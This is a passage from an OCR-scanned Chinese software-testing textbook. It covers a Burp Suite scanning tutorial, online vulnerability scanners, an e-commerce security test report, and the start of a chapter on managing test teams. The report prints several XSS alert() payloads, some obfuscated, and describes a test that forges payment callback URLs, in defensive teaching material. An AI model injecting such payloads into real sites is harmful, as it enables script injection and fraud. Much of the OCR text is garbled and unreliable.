口 作 的 至 行 时 间 超过 此 值 则 停止 执行 (D: 3 天 
口 到 日 期 @0: 2019/ 1/11 司 - | 18:58:08 S 跨 时 区 同步 日 


回 已 富 用 @) 


图 11. 29 触发 器 
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11.6.2 Burpsuite 
1. 工具 介绍 


Burpsuite 是 一 款 纯 Java 语言 编写 的 开源 安全 测试 工具 ,功能 十 分 强 
大 ,可 以 进行 仆 虫 .拦截 ,扫描 等 ,但 对 于 初学 者 来 说 , 比 起 AppScan 或 WVS 
其 在 易 用 性 上 稍微 烦琐 一 点 。 运 行 本 工具 需要 有 Java 环境 ,启动 命令 为 
java -jar burpsuite 的 完整 路 径 ,启动 之 后 如 图 11. 30 所 示 。 
5 burp suite professional vT.407 - Ticensed to DrakonHaSh 


burp intruder repeater window about 


target | prowy | spider scanner | intruder repeater | sequencer | decoder | comparer | options | alerts 


intercept | options T histoy 


forward | drop interceptis of | adion | 


| params | headers | hex 


图 11.30 Burpsuite 
2. 快速 实战 


本 节 仅 以 如 何 使 用 Burpsuite 进行 漏洞 扫描 为 例 进 行 讲解 ,大 致 思路 是 
先 对 被 测 系统 进行 伶 虫 ,之 后 选中 疏 虫 结果 中 的 目标 URL 进行 漏洞 扫描 即 
可 。 上 有 具体 步 又 如 下 。 

(1) 关闭 intercept 拦截 功能 。 

(2) 浏览 器 访问 被 测 地 址 ,比如 : http://localhost/security_demo/xss_ 
demo. php? param 一 aaa, 选 择 target~>site map, 可 以 看 到 地 址 已 经 出 来 了 ， 
如 图 11. 31 所 示 。 


rr 


target | proy | spider | scanner | intuder | re 


Filter: hiding notfound items; hiding CSS,image and 


Dr 
~ 各 | security_demo 


图 11.31 site map 
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(3) 右 击 要 扫描 的 地 址 ,选择 add item to scope, 如 图 11. 32 所 示 。 


RP- httpWocalhost 
[DN 
> 筷 各 http:Nocalhostisecurity_demo 好: 


spider this branch 
actively scan this branch 
passively scan this branch 


engagementtools » 


本 | 桔 [ 宇 | 本 | 富村 


compare site maps 
expand branch 

expand requested items 加 
delete branch E] 
copyURLs in this branch 


copylinks in this branch cd 
Save selected items & 

末 
图 11.32 add item to scope 


(4) 如 果 你 的 扫描 涉及 登录 的 操作 , 则 还 需要 切换 到 菜单 spider 一 
options 一 application login 下 ,设置 用 户 名 和 密码 ,如 图 11. 33 所 示 , 如 果 没 
有 则 忽略 这 步 。 


burp intruder repeater window about 
[ target | prow spider | scanner intruder | repeater | sequen 


© dont submit login forms 


@® promptfor guidance 

© handle as ordinany forms 

© automatically submitthese credentials- 
usemame 


password 


图 11.33 options 


(5) 返回 菜单 target>site map, 再 次 右 击 目标 URL ,选择 spider this 
branch 就 开始 爬虫 了 。 这 时 候 切 换 到 菜单 spider-~>control 可 以 看 到 请 求 数 
等 信息 在 变化 ,如 图 11. 34 所 示 。 
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burp intruder repeater window about 
spider | scanner | intruder | repeater | sequencer decoder 


To begin spidering, browse to the target application, then select one or more nodes in 
the target site map, and choose “spider from here” 


requests made- 44 
bytes transferred: 67,972 
requests queued: 0 


forms queued: 0 clear queues 


图 11. 34 control 


(6) 疏 虫 完成 之 后 返回 到 菜单 target->site map, 就 可 以 看 到 疏 虫 之 后 
的 目录 结构 了 。 因 为 这 里 我 们 仅 作 演 示 练 习 , 结 构 非常 简单 ,所 以 没有 太 多 
的 目录 层级 。 右 击 xss_demo. php 并 选择 actively scan this branch, 会 弹出 
如 图 11. 35 所 示 的 对 话 框 ,这 里 根据 实际 需求 排查 不 扫描 的 资源 即 可 。 


$ Active scanning wizard 二 口 x 


Actively scan multiple items 


You have selected 2 items for active scanning. Before continuing, you can use the filters below to 
remove certain categories of items, to make your scanning more targeted and efficient 


remove duplicate items (same URL and parameters) [0 items] 


remove items already scanned (same URL and parameters) [0 items] 


remove out-of-scope items [0 items] 


remove items with media responses [0 items] 


四 remove items with the following extensions [0 items] 


ls,gifjpg,png,css 


图 11.35 Active scanning wizard 


(7) 完成 之 后 可 以 在 scanner 习 scan queue 看 到 扫描 的 进度 , 当 status 
一 列 变 为 finished 状态 时 代表 完成 ,如 图 11. 36 所 示 。 此 时 返回 scanner- 
results, 如 图 11. 37 ,就 可 以 看 到 结果 了 。 
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target | proqy | spider | Scanner | intuder | repeater | sequencer | decoder | comparer | options | alerts 


results | scan queue f live scanning | options 
host path Status issues | requests| errors | insertion points 
TlhttpMocalhost |/security_demo/xss_demo.php lfinished 121 5 
2|htip Mocalhost l/securiy_demolss_demo.php inished 158 6 


图 11.36 scan queue 


burp intruder repeater window about 
target | proxy | spider ‘scanner | intruder | repeater | sequencer | decoder | comparer | options | alerts 


results | scan queue | live scanning | options | 


?03 httpJlocalhost 
ity_d 


于 Content type incorrectly stated 


图 11.37 results 


(8) 单 击 红色 叹 号 对 应 内 容 可 以 看 到 更 加 详细 的 描述 ,说 明 工 具 使 用 如 
下 命令 攻击 成 功 了 ,确实 存在 XSS 漏洞 。 

/security demo/xss_demo. php? param = aaa89b53 < script > alert (1)</script > 

Tedlcbbl8bl1 

这 么 一 系列 的 操作 ,大 家 一 定 感到 比较 复杂 ,没有 连贯 性 ,需要 在 不 同 
的 菜单 切 来 切 去 ,容易 弄 混 。 确 实 如 此 ,毕竟 是 开源 的 工具 嘛 ,不 可 能 那么 
完美 。 所 以 如 果 想 快速 应 用 可 以 选择 AppScan 或 者 WVS 这 样 的 工具 。 不 
过 这 里 还 是 推荐 大 家 研究 下 这 款 工具 , 它 十 分 强大 , 玩 转 它 的 话 , 你 的 技术 
能 力 就 更 上 一 层 楼 了 。 


11.6.3 在 线 漏洞 扫描 


化 繁 为 简 一 向 是 一 门 说 起 来 容易 做 起 来 难 的 技术 活 。 很 多 时 候 我 们 觉 
得 复杂 的 东西 技术 含量 高 ,相反 技术 含量 低 。 其 实 不 然 ,能 把 复杂 的 东西 简 
单 化 .通俗 化 . 易 用 化 , 那 才 真是 含金量 高 ! 

通过 之 前 工具 的 介绍 一 定 会 有 不 少 朋友 党 得 复杂 , 仍 是 一 脸 茫 然 。 没 
事 , 这 次 我 们 就 给 大 家 介绍 几 款 在 线 的 安全 测试 网 站 ,你 只 需 按照 要 求 输 入 
必要 的 信息 ,然后 轻 轻 一 点 鼠标 就 可 以 坐等 结果 啦 。 


1. 360 网 站 安全 (Web 版 ) 
地 址 : http://webscan. 360. cn。 它 可 以 对 系统 进行 漏洞 检测 、 漏 洞 修 
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复 .后 门 查 杀 等 服务 ,你 只 需要 输入 被 测 网 址 URL 即 可 ,如 图 11. 38 所 示 。 


网 站 安全 ， 从 这 里 开始 ““ 


http:// | xqtesting.sxl.cn 检测 一 下 
累计 检测 2,035,205,567 个 页 面 发 现 227,275,162 个 漏洞 
网 站 安全 漏洞 


虚假 或 欺诈 网 站 监控 
Y 正常 


挂 马 或 恶意 网 站 监控 
” 正常 


黑客 自 改 网 站 监控 
Y 正常 


网 站 敏感 内 容 监控 


Y 正常 


图 11.38 360 网 站 安全 (Web 版 ) 


2. 360 网 站 安全 (APP 版 ) 


地 址 : http://appscan. 360. cn。 它 可 以 对 APP 进行 漏洞 扫描 ,发 现 诸如 
组 件 暴 露 \ 隐 式 意 图 调用 等 风险 。 你 只 需要 上 传 被 测 APK 即 可 ,如 图 11. 39 
所 示 。 


的 APP 安 全 风险 在 线 招 赋 腿 入 = 


图 11.39 360 网 站 安全 (APP 版 ) 
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3. 爱 加 密 


官网 地 址 : http://www. ijiami. cn。 它 是 国内 最 专业 的 移动 安全 体系 
服务 商 ,专注 于 为 移动 领域 的 金融 游戏, 企业 级 应 用 及 互联 网 开发 者 提供 
安全 可 靠 的 应 用 保护 解决 方案 ,服务 范围 覆盖 Android 和 iOS 两 大 主流 系 
统 。 可 以 进行 文件 检查 、 漏 洞 扫描 、 后 门 检测 保护 服务 以 及 渠道 监测 等 ,如 
图 11. 40 所 示 。 


隔 油 分 析 已 圭 成 ! 
已 检 汕 文件 382 。 检 WBj 间 : 00:00:36 
阳 吉 提示 : 您 的 APP 存 在 风险 ， 需 要 采取 保护 措施 踊 ! 
内 谱 sdk 检 测 : 
加 内 说 广告 接 入 检 列 全 项 目前 朋 v 知 朋 让 折 
加 内 央 支 付 撞 入 检测 安全 项 目 说明 v 哆 内 豚 伯 
加 内 刻 推 送 接 入 检 囊 安全 项 目测 朋 v 所 内 内 伯 
回 内 许 统 计 接 入 检 列 去 全 项 BW 用 v 蔬 骨 角 析 
数据 存储 检测 : 
加 救 据 存 体检 列 安全 项 目 说 明 v EFI 
源码 检测 : 
园 得 感 权限 检测 安全 项 目 说 明 vv 轰 网 检 析 
四 字符 吕 初始 化 检 列 过 全 项 而 用 v 
图 11.40 漏洞 分 析 
4. 阿里 聚 安全 


官网 地 址 : http://jaq. alibaba. com/gc/appsec/index. htm。 阿 里 旗下 
的 产品 ,可 以 扫描 APK 常见 的 漏洞 ,如 拒绝 服务 .隐私 窃取 .私有 文件 泄漏 
等 。 具 体 的 用 法 和 上 述 工具 类 似 ,这 里 就 不 再 重复 了 。 扫 描 结果 如 图 11. 41 
所 示 。 
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漏洞 扫描 
我 的 所: 12 个 的 3 六 出 12 个 源 油 : 
Oe 
业界 平均 泥 泣 数 : 56 个 高 危 霹 泣 中 危 源 : 低语 天 油 
3 4 
TOP5 源 现 
恶意 代码 | EP 
我 的 秋 章 代码 数 : o 个 File 任 章 半 与 大 性 L222 
webview 明 文 古 信 杰 三 司 人 Dd 
业界 平均 各 意 代 码 数 : or 
webview 远 程 代 到 的 5 而 表 伍 晤 ] Ded 
二 rin 人 EE 人 四 
仿冒 应 用 
我 的 仿 由 歼 ; 40 个 
ED 
业界 平均 仿 军 数 : 174 个 
ROOT 设备 
i 153% : ROOT 设 备 占 比 
业界 平 岁 : 31.06% EE p 的 攻击 和 业务 中 给 
ee ROOT 设备 的 占 比 桂 台 引发 不 同 加 变 攻 击 和 业务 风 
O 
模拟 器 设备 15.3% 
我 的 应 用 : 5.7% 
昌 
业界 平 均 10045% 和 导致 风险 提升 
本 
0.15% 个 3.529% 个 9.79% 个 1.99% 个 
恶意 注 册 风险 垃圾 消息 风险 账号 以 次 风险 作 短 行为 风险 
恶意 程序 设备 
业界 于 均 : 195% 
a 
图 11.41 扫描 结果 
iy “上 
11.7 案例 : 电 商 项 目 安全 测试 


因 笔 者 接触 到 的 安全 测试 项 目 有 限 所 以 难免 有 朴 漏 和 不 完善 的 地 方 ， 
但 重 在 和 大 家 分 享 ,如 果 有 不 妥 之 处 请 指出 。 

这 里 分 享 一 个 电 商 系统 的 安全 测试 ,基本 步 又 和 安全 测试 的 流程 并 没 
有 太 大 区 别 ,关键 点 还 是 在 于 评估 出 哪些 地 方 需要 进行 安全 方面 的 测试 ,之 
后 利用 手工 和 工具 一 起 进行 测试 和 漏洞 扫描 。 
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1. 测试 用 例 
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测 试 点 


测试 项 描述 


预期 结果 


实际 结果 


错误 代码 分 析 
测试 


1. 用 户 登录 状态 

2. 修改 带 参 数 的 URL., 使 其 参 
数 为 任意 的 字符 串 、 数 字 、 特 
殊 字 符 等 ,新 建 浏览 器 窗口 并 
提交 


跳 转 到 指定 的 出 
错 页 面 


注销 和 浏览 器 缓 
存 管理 测试 


1. 准备 系统 URL 列表 
2. 注销 用 户 , 拷 贝 URL 到 浏览 
器 并 提交 


跳 转 到 网 站 登录 
页 面 


URL 中 不 能 暴 
露 接口 .IJP 等 敏 
感 信 息 


1. 在 生成 订单 到 提交 后 过 程 中 

2. 检 出 URL 中 和 否 出 现 接口 调用 
方法 

3. 检查 URL 中 是 否 出 现 公 网 IP 
地 址 


URL 中 没有 暴 
露 接口 IP 等 敏 
感 信息 


尝试 伪造 付款 成 
功 的 银行 回 
调 URL 


1. 用 户 正 常 支付 ,截取 银行 回调 
的 URL 

2. 用 户 生成 订单 但 是 没有 支付 ， 
将 order_id 替换 上 一 步 的 
URL ,并 提交 


伪造 的 URL 系 
统 验证 不 通过 ; 
伪造 的 数据 不 会 
记录 到 数据 库 


对 付款 流程 中 所 
用 post 请 求 监 
控 , 并 算 改 ,观察 
系统 响应 


对 流程 中 所 用 post 请 求 监控 ,并 
自 改 ,观察 系统 响应 


系统 对 不 合法 的 
post 请 求 不 做 
响应 


涉及 计 费 页 面 ， 
进行 重复 提交 、 
提交 后 刷新 页 面 
等 操作 


1. 订单 页 面 生成 后 
2. 或 通过 按钮 快速 点 击 、 或 通过 


提交 后 再 次 刷新 
页 面 ,进行 多 次 
重复 提交 ; 不 能 
多 次 提交 ,或 多 
次 点 击 不 多 次 计 
费 ; 刷新 页 面 不 
多 次 计 费 等 
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续 表 
测 试 点 测试 项 描述 预期 结果 实际 结果 
1. 订单 页 面 生成 后 
2. 把 该 订单 保存 在 本 地 作为 
跳 过 本 地 验证 htm 文 件 禁止 提交 符合 预期 
3. 在 本 地 打开 该 htm 文件 进行 
提交 
1. 用 户 正常 支付 ,在 支付 成 功 的 
页 面 "返回 商户 网 站 ”时 ,不 返 
回 商户 网 站 ,而 是 直接 将 窗口 失败 ,同一 个 
司 一 个 
te 关 掉 关 掉 不 可 多 次 付款 “| 订单 可 以 多 
2. 在 支付 跳 转 到 银行 的 页 面 上 次 支付 
选择 “返回 重新 选择 银行 ”并 
支付 。 
使 用 AppScan、Acunetix WVS 对 | 全 面 扫 描 , 查 看 | 存在 漏洞 , 具 
工具 扫描 应 用 扫描 :扫描 SQL 注入 、XSS | 是 否 有 工具 定义 | 体 见 测试 
攻击 .目录 遍历 等 内 容 的 漏洞 结果 
Poy a 人 存在 漏洞 , 具 
表单 验证 对 重要 表单 的 攻击 测试 无 漏洞 Et 
2. 测试 结果 
问题 登录 页 存在 不 安全 的 信息 处 理 
严重 等 级 | 高 
操作 过 程 | 手工 尝试 


描述 


1. 尝试 多 次 错误 的 登录 (大 概 是 6 次 ) ,不 会 出 现 冻结 账户 的 状态 ,只 会 
出 现 验证 码 , 且 出 现 了 万 能 验证 码 test, 这 时 候 只 需 输 入 正确 的 用 户 
名 和 密码 即 可 登录 ,如 图 11. 42 所 示 

2. 当 输 入 错误 的 用 户 名 ,会 返回 errorMessageForLoginName 的 信息 。 
输入 错误 的 密码 会 返回 errorMessageForPassword 的 信息 。 返 回 的 
信息 告诉 了 攻击 者 是 什么 字段 出 错 了 ,这 样 可 以 使 用 蛮 力 攻击 技术 
来 枚 举 用 户 名 和 密码 

3. 用 户 名 和 密码 在 传输 过 程 中 是 明文 传递 的 ,没有 加 密 
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Enail 地 址 或 用 户 名 : 12 站 


码 : @@9 忘记 密码 
密码 错误 , 请 重新 填写 
验证 码 a 
回 记 信 用户 名 加 自动 登录 
| | 多 
图 11.42 登录 
1. 线 上 不 应 该 出 现 万 能 验证 码 , 请 去 掉 
2. 允许 的 登录 尝试 次 数 ( 通 常 是 3 一 5 次 ) ,确保 超出 允许 的 尝试 次 数 之 
后 ,可 以 仅 临 时 性 冻结 帐户 活动 ,并 在 特定 时 间 段 之 后 启用 帐户 。 账 
建议 户 锁定 大 约 10 分 钟 , 一 般 可 以 阻止 蛮 力 攻击 
3. 对 每 个 错误 的 登录 尝试 发 出 相同 的 错误 消息 ,不 要 明确 告知 是 哪个 
字段 错误 
4. 建议 以 加 密 方式 发 送 到 服务 器 
问题 2 登录 页 存在 XSS 漏洞 
严重 等 级 | 高 
操作 过 程 | 工具 扫描 
登录 页 面 存在 漏洞 。 在 浏览 器 中 输入 : 
http://www. xxx. com/login. jhtmldone = FR93D99B4F1B091ECC4C8FED5C41 
描述 022D8F7472F8935DA1FC4653271C82E86454BA5052E156191CA8A > % 22 %$ 27 > 


< img% 20src % 3d% 22javascript:alert(888) %22> 


运行 结果 如 图 11. 43 所 示 
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您 还 不 是 干 器 网 用 户 ? 


描述 下旬 和 为 和 由 用 让， 便衣 | 
民 记 任用 户 各 月 和 二 东 
7 
图 11.43 运行 结果 
建议 对 特殊 字符 做 统一 处 理 , 包 括 前 端 和 后 端 都 要 做 校 验 
问题 3 留言 页 面 存在 XSS 漏洞 
严重 等 级 | 高 
操作 过 程 | 手工 尝试 
订单 详情 页 : 留言 处 没有 对 特殊 代码 进行 过 滤 , 如 : 
< Script Language = "JavaScript"> alert(" 赵 强 js 攻击 "); </Script > 
刷新 页 面 就 会 弹出 ,商家 在 后 台 查 看 该 订单 所 在 页 面 时 也 会 弹出 ,如 
图 11. 44 所 示 
描述 


图 11.44 xss 


建议 


对 类 似 这 种 特殊 的 字符 进行 统一 处 理 
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问题 4 支付 页 面 存 在 XSS 漏洞 
严重 等 级 | 高 
操作 过 程 | 工具 扫描 
/ep/pay_order. php 中 post 参数 starttime 存在 漏洞 
1. The POST variable startTime has been set to 
1>"><ScRiPt?% 20 % 0d% 0a>alert(412264514157) % 3B </ScRiPt >. 
2. The POST variable startTime has been set to 
描述 1" + onmouseover = alert(412694514322) + . 
3. The POST variable startTime has been set to 
1%00'">< ScRiPt?% 20 % 0d% 0a> alert(412724514322) % 3B </ScRiPt >. 
4. The POST variable startTime has been set to 
% F6" + onmouseover = prompt (413064514447)//. 
建议 对 Starttime 参数 做 输入 限制 
问题 5 同一 个 订单 可 以 多 次 支付 
严重 等 级 | 高 
操作 过 程 | 用 户 生成 的 一 个 订单 可 以 多 次 支付 , 即 在 支付 期 间 和 支付 完成 后 订单 设 
有 锁定 等 保护 策略 
当 用 户 支 付 完成 ,但 是 银行 ,支付 宝 等 尚未 通知 快 付 支付 成 功 时 ,会 给 用 
描述 户 造成 支付 没有 成 功 的 错觉 ,而 同一 订单 可 以 多 次 支付 ,对 用 户 来 说 有 
重复 支付 的 隐患 
建议 从 系统 设计 上 避免 这 种 问题 
问题 6 ApacheTRACE 状态 为 开 
严重 等 级 | 低 
操作 过 程 | 工具 扫描 
描述 TRACE 没有 关闭 可 能 会 导致 一 些 跨 站 攻击 
建议 请 评估 是 否 必须 TRACE, 和 否则 设置 为 OFF 关闭 
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问题 7 敏感 的 目录 并 未 做 处 理 ,而 是 直接 暴露 了 
严重 等 级 | 中 
操作 过 程 | 工具 扫描 
描述 因为 涉及 公司 隐私 ,这 里 就 不 列 出 目录 结构 了 
如 果 不 需 要 禁止 的 资源 ,请 将 其 从 站 点 中 除去 。 可 能 的 话 , 请 发 出 改 用 
建议 “404 一 找 不 到 ”响应 状态 代码 ,而 不 是 403 一 禁止 ?>。 这 样 的 话 可 以 使 
站 点 的 目录 模糊 化 ,可 以 防止 泄漏 站 点 结构 


11.8 本 章 小 结 


本 章 从 安全 测试 的 基本 知识 、 常 见 攻击 手段 扫描 工具 以 及 案例 等 多 方 
面 进 行 了 分 享 , 其 实 总 结 成 一 句 话 就 是 “输入 是 万 恶 之 源 ”。 

本 节 中 演示 的 示例 源码 可 扫 码 关注 公众 号 之 后 在 对 话 框 中 回复 关键 字 
“大 话 软 件 测试 ”获取 。 


第 12 章 


测试 团队 的 组 建 与 管理 


在 写 这 章 内 容 的 时 候 还 是 比较 志 下 的 ,团队 的 组 建 和 管理 并 没有 太 多 
规范 ,需要 根据 团队 成 员 的 品 性 以 及 公司 发 展 战略 来 具体 决定 ,灵活 性 较 
大 。 但 测试 行业 并 没有 一 本 书 系统 地 写 过 测试 团队 组 建 和 管理 方面 的 内 
容 , 而 且 我 的 学 员 有 一 部 分 已 经 成 功 晓 变 为 管理 者 ,平时 也 问 了 我 不 少 在 管 
理 方面 的 问题 ,所 以 我 借 此 机 会 来 和 大 家 分 享 一 下 自己 在 组 建 和 带领 测试 
团队 中 的 一 些 点 点 滴 滴 吧 ,也 许可 以 给 你 带 来 一 些 启发 和 帮助 。 


12.1 重新 认识 所 谓 的 管理 


听 到 “管理 ”一 词 ,我 想 不 少 朋友 会 感觉 很 高 深 、 很 复杂 ,其 实 不 然 ,管理 
思维 在 现实 中 是 无 处 不 在 的 ,只 是 我 们 没有 注意 罢了 。 比 如 ,你 要 和 女友 出 
去 旅游 一 趟 ,还 是 自由 行 , 那 不 可 避免 地 在 出 发 之 前 要 做 个 攻略 ,其 实 这 个 
过 程 也 算是 管理 。 再 如 ,怎么 去 合理 安排 你 的 学 习 计 划 不 被 乱七八糟 的 事 
情 打 乱 也 是 管理 ,这 些 都 透露 着 管理 的 气息 ,只 要 你 认真 体会 ,不 要 墨 守 成 
规 , 那 么 管理 思维 就 在 你 身边 。 

我 们 再 举 一 个 更 加 生活 化 的 例子 ,我 想 大 家 和 我 一 样 上 下 班 都 要 挤 公 
交 车 吧 ? (开车 的 朋友 就 自动 忽略 吧 , 你 们 不 懂 我 们 的 痛 啊 。) 我 们 是 不 是 
都 遇 到 过 这 样 的 场景 : 公交 车 到 站 了 ,有 人 要 下 车 ,由 于 人 太 多 ,还 没 等 下 
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车 ,公交 车 的 门 就 关上 了 。 此 时 ,你 会 听 到 “开门 啊 , 我 要 下 车 ,开门 啊 ” 的 
呆 吼 。 

这 个 场景 能 很 好 地 体现 管理 思维 ,不 知道 大 家 阅读 到 这 里 有 没有 点 想 
法 。 可 能 有 朋友 说 公交 车 有 后 视 镜 ,监控 器 ,可 以 看 到 乘客 是 否 下 车 。 没 
错 , 但 是 这 些 都 是 为 公交 司机 设计 的 ,并 不 是 为 乘客 们 服务 的 ! 换 句 话说 ， 
这 些 东 西 只 是 提供 了 公交 车 司机 了 解 乘客 的 路 径 , 却 不 能 把 乘客 的 想法 传 
达 给 公交 司机 ,这 样 就 造成 了 单 向 传递 ,是 不 是 和 我 们 在 团队 中 遇 到 的 情 
况 类 似 呢 ? 

那 公 交 车 上 的 这 种 场景 有 没有 什么 解决 方案 呢 ? 当然 有 。 注 意 观察 的 
朋友 肯定 会 发 现 有 的 城市 中 的 公交 车 的 下 门 区 有 一 个 按钮 ,如 果 你 要 下 车 ， 
只 要 按 一 下 这 个 按钮 司机 就 会 知道 ,很 好 地 解决 了 刚才 的 问题 ,由 单 向 传递 
变 为 了 双向 传递 。 一 个 小 小 的 改动 就 可 以 解决 一 个 巨大 的 问题 ,是 不 是 很 
神奇 呢 ? 团 队 的 组 建 和 管理 也 一 样 , 有 时 候 未 必要 “大 动 干戈 ”, 也 许 “ 温 柔 
一 刀 ? 就 可 以 解决 所 有 问题 。 


12.2 人 人 都 是 管理 者 


这 里 定义 的 “管理 者 ”并 不 单 指 CEO、CTO、COO 这 些 ,这样 的 定义 太 狭 
隘 了 。 也 许 在 一 次 Team Building 中 你 承担 了 负责 人 ,也 许 在 家 里 你 是 顶 染 
柱 , 这 些 角色 都 可 以 理解 为 管理 者 ! 

但 可 惜 的 是 从 平时 大 家 的 交流 以 及 和 学 员 的 聊天 中 都 不 难 发 现 , 大 家 
对 于 管理 都 是 敬而远之 ,甚至 可 以 说 盲目 地 丽 惧 。 我 个 人 觉得 这 是 因为 没 
有 深刻 理解 到 底 什么 是 管理 而 导致 的 。 训 不 夸张 地 说 ,即使 是 一 个 没有 任 
何 管理 经 验 的 人 都 有 可 能 成 为 一 个 优秀 的 管理 者 。 当 你 能 有 条 不 率 地 完成 
手 里 的 工作 , 当 你 能 在 同时 进行 的 多 个 项 目 中 游 九 有 余 时 ,其 实 你 已 经 是 一 
个 不 错 的 管理 者 了 。 所 以 ,我们 不 应 该 去 排斥 管理 ,而 应 该 更 加 注重 管理 和 
它 所 带 来 的 价值 。 

想 要 成 为 一 名 优秀 的 管理 者 是 少不了 经 历 和 磨炼 的 ,你 要 应 对 部 门 内 
部 的 事情 ,应 对 部 门 之 间 的 事情 ,应 对 下 级 、 平 级 和 上 级 的 事情 ,如 果 没 有 点 
“淡定 ”的 气质 还 真 不 行 , 不 过 这 些 都 是 可 以 培养 的 ,我 也 相信 大 家 都 可 以 成 
为 一 个 优秀 的 管理 者 。 
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12.3 测试 团队 常见 的 组 织 架 构 模 型 


我 们 重新 认识 了 所 谓 的 管理 之 后 ,再 来 了 解 下 目前 测试 团队 常见 的 组 
织 架 构 类 型 ,对 于 我 们 日 后 组 建 测试 团队 有 巨大 的 帮助 。 据 我 所 知 大 部 分 
公司 常见 的 组 织 架构 类 型 有 如 下 几 种 。 

(1) 测试 团队 是 独立 的 部 门 ,也 就 是 说 和 开发 ,产品 等 部 门 是 平 级 的 ,如 
图 12.1 所 示 。 这 种 组 织 架构 的 好 处 就 是 相对 比较 独立 ,有 话语 权 ,不论 是 从 
资源 上 还 是 管理 上 都 较为 集中 ,方便 做 一 些 平台 建设 资源 共享 。 同 时 ,在 
业务 上 更 容易 深入 研究 分 析 , 对 研发 体系 的 质量 有 推动 和 促进 的 作用 ,管理 
得 当 可 以 较 好 地 体现 测试 团队 的 价值 。 

(2) 测试 团队 隶属 于 开发 ,也 就 是 测试 团队 属于 开发 部 门下 的 一 个 小 
组 ,如 图 12.2 所 示 。 这 种 组 织 架 构 的 次 端 比较 明显 ,很 多 事情 要 受 限于 开 
发 ,没有 话语 权 , 相 对 来 说 比较 被 动 ,也 比较 难 体现 自己 的 价值 。 


测试 团队 组 织 架 构 模 型 


测试 团队 组 织 架 构 模 型 


开发 产品 测试 a 测试 
图 12.1 独立 的 测试 部 门 图 12.2 测试 隶属 于 开发 


(3) 测试 团队 被 打 散 ,分 到 各 个 产品 线 , 如 图 12. 3 所 示 。 这 种 组 织 架构 
也 比较 常见 ,尤其 是 在 大 公司 里 。 毕 竟 大 公司 里 的 产品 线 太 多 ,如 果 全 部 统 
一 成 一 个 测试 部 门 , 团 队 的 “机 动 性 ”就 会 比较 差 ,不 能 快速 ,及 时 、 专 注 地 服 
务 。 所 以 , 打 散 到 各 个 产品 线 是 比较 好 的 选择 。 而 且 这 种 组 织 架 构 能 避免 
人 力 资源 之 间 的 竞争 ,更 可 以 减少 跨 部 门 协 作 的 问题 。 同 时 ,对 于 测试 工程 
师 来 说 也 是 深入 熟悉 某 一 类 产品 业务 的 绝 佳 时 机 。 
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测试 团队 组 织 架 构 模 型 


测试 1 测试 2 
图 12.3 测试 分 布 在 各 个 产品 线 


至 于 哪 种 组 织 架构 更 好 , 真 没有 标准 答案 ,每 种 组 织 架构 都 各 有 利弊 。 
我 们 只 有 知道 了 每 种 组 织 架 构 的 优势 和 劣势 之 后 才能 在 后 续 组 建 测 试 团 
队 的 过 程 中 进行 统一 考虑 ,最 大 限度 地 “扬长 避 短 ”。 通 过 这 节 的 分 享 ， 
你 能 判断 出 你 所 在 的 部 门 现在 属于 哪 种 组 织 架构 吗 ? 假如 你 是 管理 者 ， 
你 觉得 现在 这 种 组 织 架构 好 吗 ? 这 都 是 大 家 在 阅读 本 节 时 可 以 思考 的 
问题 。 


12.4 小 议 扁平 化 组 织 结构 


扁平 化 这 个 概念 大 家 一 定 听 说 过 ,之 前 还 特别 火爆 ,很 多 公司 都 宣称 自 
己 是 扁平 化 管理 。 不 论 你 是 否 是 一 个 管理 者 ,对 扁平 化 的 认识 都 是 很 重要 
的 ,因为 它 既是 你 的 一 种 管理 手段 ,又 体现 了 一 家 公司 的 制度 。 

曾经 GE 的 CEO 杰克 ，。 韦 尔 奇 就 直言 不 讳 地 指出 : 当 你 穿着 6 件 毛衣 
出 门 的 时 候 , 你 还 能 感觉 到 气温 吗 ? 意 在 说 明 公 司 层级 的 复杂 导致 信息 传 
递 不 通畅 ,甚至 被 曲解 ,人 与 人 之 间 死 气 沉沉 的 关系 更 是 没有 一 些 活 力 。 后 
来 ,他 痛 下 决心 把 中 间 的 管理 层 都 砍 掉 , 减 少 信息 传递 的 层级 ,提升 沟通 和 
执行 效率 ,把 “大 ” 变 “ 小 ”。 

说 到 这 里 ,不 少 朋友 觉得 扁平 化 不 就 是 裁员 吗 ? 这 个 表达 不 够 全 面 , 扁 
平 化 的 意义 在 于 减少 多 余 的 “ 闭 肉 ”, 让 你 变 得 “灵活 ”起 来 ,并 不 是 随便 地 裁 
员 、 砍 部 门 。 在 什么 条 件 下 、 什 么 时 候 进 行 扁平 化 ,扁平 化 之 后 由 谁 来 接替 
负责 都 是 管理 者 们 应 该 思考 的 。 

如 果 有 朋友 在 阅读 本 书 时 正好 在 一 家 有 着 很 多 层级 的 公司 ,我 相信 你 
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一 定 深 有 体会 。 不 论 是 刚 组 建 测试 团队 ,还 是 你 的 测试 团队 已 经 足够 庞 
大 ,了 解 扁 平 化 的 组 织 结构 对 于 你 管理 这 个 团队 来 说 能 够 提供 一 定 的 
帮助 。 


12.5 如 何 组 建 测 试 团队 


这 是 一 个 比较 大 的 话题 ,本 节 我 将 尽 可 能 详细 地 与 大 家 分 享 我 在 组 建 
测试 团队 时 的 经 验 , 也 把 自己 踩 过 的 “ 坑 ” 告 诉 大 家 ,希望 能 给 大 家 一 点 
帮助 。 

下 面 分 享 组 建 测试 团队 时 需要 注意 的 几 点 事项 ,未 必 对 ,只 是 自己 经 验 
的 总 结 而 已 。 


1. 深入 “敌后 " 


很 多 朋友 在 组 建 测 试 团 队 时 第 一 步 就 是 招 人 ,个 人 觉得 这 个 不 太 好 ,我 
建议 第 一 步 是 深入 了 解 当前 公司 .部门 的 实际 情况 以 及 组 织 架 构 , 这 样 才 
能 正确 地 选 人 , 招 对 人 。“ 敌 后 ”并 没有 恶意 ,是 想 强调 深入 了 解 的 重要 性 ， 
如 果 你 连 你 当前 的 处 境 , 当 前 需要 什么 样 的 人 都 不 知道 , 何 谈 组 建 测试 
团队 ? 

还 记得 在 9. 3 节 中 测试 团队 常见 的 组 织 架构 模型 吗 ? 每 种 组 织 架构 都 
有 各 自 的 特点 ,只 有 选择 符合 当前 团队 特点 的 组 织 架构 模型 才能 更 好 地 发 
挥 团 队 效应 。 如 果 公 司 不 是 很 庞大 .产品 线 不 是 很 多 ,可 以 优先 考虑 组 建 独 
立 的 测试 团队 。 


2. 精简 * 拢 人 ” 


当 你 了 解 了 当前 情况 之 后 就 可 以 开始 招 人 了 ,初期 不 建议 大 规模 招 人 。 
毕竟 初 建 的 测试 团队 还 不 能 称 之 为 团队 ,因为 人 来 自 五 湖 四 海 ,水 平 参差 不 
